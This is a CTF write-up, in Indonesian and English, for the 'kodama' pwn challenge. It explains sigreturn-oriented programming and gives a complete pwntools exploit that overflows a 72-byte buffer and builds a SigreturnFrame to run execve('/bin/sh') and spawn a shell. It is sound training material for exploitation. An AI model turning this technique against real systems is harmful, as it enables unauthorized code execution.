kodama
Sigreturn Oriented Programming (SROP) challenge, but it's easier cuz in the binary have the /bin/bash string. So we doesn't have to input the /bin/bash at .bss.
TL;DR
SROP
AI (not really useful, i can solve this within minute but i want the firstblood faster hehe)
https://chat.deepseek.com/share/vowtyiuy0r0pv4iyh4
Challenge
Poin / solves: 460 / 14
Deskripsi: kodama is listening in the valley.
Recon
firstly kita checksec, ternyata semua proteksi mati kecuali NX, jadinya ngga bisa langsung shellcode.
~/ctf/playit/pwn/kodama
❯ checksec kodama 09:01:11
[*] '/home/claritys/ctf/playit/pwn/kodama/kodama'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Vulnerability
Setelah kita decompile, yang penting adalah ini:
//----- (0000000000401010) ----------------------------------------------------
signed __int64 vuln()
{
char buf[72]; // [rsp+0h] [rbp-48h] BYREF
return sys_read(0, buf, 0x200u);
}
//----- (0000000000401030) ----------------------------------------------------
void __noreturn start()
{
sys_write(1u, "kodama is listening. speak into the valley.\n> ", 0x2Eu);
vuln();
sys_exit(0);
}
karena dia memakai sys, jadi aku langsung search digoogle WU WU tentangnya.
Exploit plan
Aku dapet referensi ini:
https://sharkmoos.medium.com/a-quick-demonstration-of-sigreturn-oriented-programming-d9ae98c3ab0e
https://github.com/utisss/foreverctf-writeups/blob/master/pwn-srop.md
Aku tau ini itu chall srop based on pengalaman juga sih, tapi sempet ngira kalau ini ret2syscall sebentar doang karena sebelumnya sering ngerjain chall ret2syscall.
(Biar diinilai sigma WU nya) Before we ngerakit payloadnya, I think lebih baik kita jelaskan dulu deh srop itu apa.
So basically srop itu dia ngemodify function lain jadi function yang kita mau, sama juga dengan ret2syscall. Almost looks alike with ret2syscall the concept is the same, but the execution aren’t the same.
How? Firstly, we must understand how syscall works and how function called in Linux Architecture. We can see it at this website:
The website give us what is the value that needed to call a function like read, write open.
Bisa kita lihat kalau ada argumen argumen yang diperlukan untuk memanggil sebuah function. Diantara lain adalah: rdi, rsi, rdx, r10, r8, dan r9. But some of the program usually use only 3 argument: rdi, rsi, and rdx.
Let’s give it an example, i take read as an example for this one:
Function read butuh
rdi, rsi, dan rdxbuat successfuly memanggil dia. Nah do you get the catch? How Linux membedakan function padahal diprogramnya itu nggak ada ‘NAME' kayak gitu? Jawabannya ada diRAX. Yang di mana, untuk casereaditu kita pakai hex0x0untuk memanggilread, jadi kita harus ngeganti valueRAXnya menjadi0xbiar functionreadkepanggil.
Jadi kesimpulannya adalah, kita bisa pake trick ini untuk memanggil function yang kita mau. Target kita adalah exec, yang di mana kita nanti jadikan dia bisa ngeeksekusi /bin/bash biar kita dapet shell.
Dapat kita lihat disitu kalau hexnya adalah 0x3b, jadi kita harus ganti RAXnya menjadi 0x3b. Lalu kita isi rdi dengan /bin/bash. Kebetulan di chall ini ada /bin/bash di dalam filenya, jadi ngga usah repot repot naruh /bin/bash di .bss.
~/ctf/playit/pwn/kodama
❯ strings -a -t x kodama | grep /bin/sh 22:36:23
3000 /bin/sh
Lalu untuk value yang lainnya kayak rsi dan rdx itu kita isi dengan 0 aja gapapa, karena belum berguna.
Okay that only the explanation for the syscall. Now for the srop explanation.
SROP is the S stands for Sigreturn, when did you saw like Sig*? Yup, when the program error or broken in the inside. So the SROP have a function named rt_sigreturn yang di mana ketika error atau broken, kita nggak crash terus stop, namun dia akan menjalankan rt_sigreturn, yang di mana kita bisa mengatur dia itu ngeeksekusi function apa.
Seharusnya kalau si program memang ada rt_sigreturn by default, seharusnya dia itu bakal diarahin ke function yang dimau sama programmer. Tapi gimana cara rt_sigreturndia ini memilih frame kayak rdi, rsi, rdx, r10, r8 dan r9? Yaitu dari rsp, yang di mana seharusnya kan kita ngga bisa exploit, tapi sekarang kita bisa. Jadinya si program nggak tau kalau yang ada di rsp itu adalah modified dari kita biar mendapatkan function yang kita mau.
Kita ngga usah repot repot kayak nyari cara buat naruh value mereka di sana, karena di pwntools ada yang namanya SigreturnFrame(), dialah yang mencari cara biar bisa jalan nanti proses rt_sigreturn sesuai function yang kita mau.
Jadi kita bisa membuat si program memanggil rt_sigreturn karena ada pop rax dan syscall untuk ngeeksekusi rt_sigreturn:
~/ctf/playit/pwn/kodama
❯ ropper --file kodama_patched --search "pop" 23:00:40
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop
[INFO] File: kodama_patched
0x0000000000401000: pop rax; ret;
~/ctf/playit/pwn/kodama
❯ ropper --file kodama_patched --search "syscall" 09:03:07
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: syscall
[INFO] File: kodama_patched
0x0000000000401002: syscall;
0x0000000000401002: syscall; ret;
Baru deh kita bisa rakit payloadnya jadi kek gini:
pop_rax = 0x401000
syscall = 0x401002
binsh = next(elf.search(b"/bin/sh\x00"))
frame = SigreturnFrame()
frame.rax = 0x3b # execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall # setelah frame dipulihkan, langsung syscall lagi
payload = flat({
72: [
pop_rax,
15, # SYS_rt_sigreturn
syscall,
frame # SigreturnFrame akan diserialisasi otomatis
]
})
r.sendline(payload)
Saat syscall pertama dieksekusi dengan rax=15, kernel membaca frame di stack, lalu "melompat" ke frame.rip. Karena frame.rip juga menunjuk ke syscall, dan saat itu rax sudah bernilai 0x3b, execve("/bin/sh", NULL, NULL) langsung berjalan.
Exploit
#!/usr/bin/env python3
from pwn import *
elf = ELF("kodama_patched")
context.binary = elf
context.terminal = ["ghostty", "-e"]
context.gdb_binary = "pwndbg"
if args.DEBUG:
context.log_level = "debug"
gdbscript = """
set pagination off
set confirm off
break main
continue
"""
def conn():
if args.GDB:
r = process([elf.path])
gdb.attach(r, gdbscript=gdbscript)
return r
if args.LOCAL:
return process([elf.path])
return remote("10.0.2.3", 4271)
def main():
r = conn()
# syscall = 0x0000000000401002
# rax = 0x0000000000401000
# execve = 0x3b
# binsh = next(elf.search(b"/bin/sh\x00"))
# payload = flat({72:[
# rax, execve,
# binsh,
# syscall, ]})
# r.sendline(payload)
pop_rax = 0x401000
syscall = 0x401002
binsh = next(elf.search(b"/bin/sh\x00"))
frame = SigreturnFrame()
frame.rax = 0x3b # execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall # setelah frame dipulihkan, langsung syscall lagi
payload = flat({
72: [
pop_rax,
15, # SYS_rt_sigreturn
syscall,
frame # SigreturnFrame akan diserialisasi otomatis
]
})
r.sendline(payload)
r.interactive()
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
Flag
PLAYITPLUS{5fdf16138ae47bbdb843f79e0f966bd1b047ec4d42707250ad1e4a6857472ec4}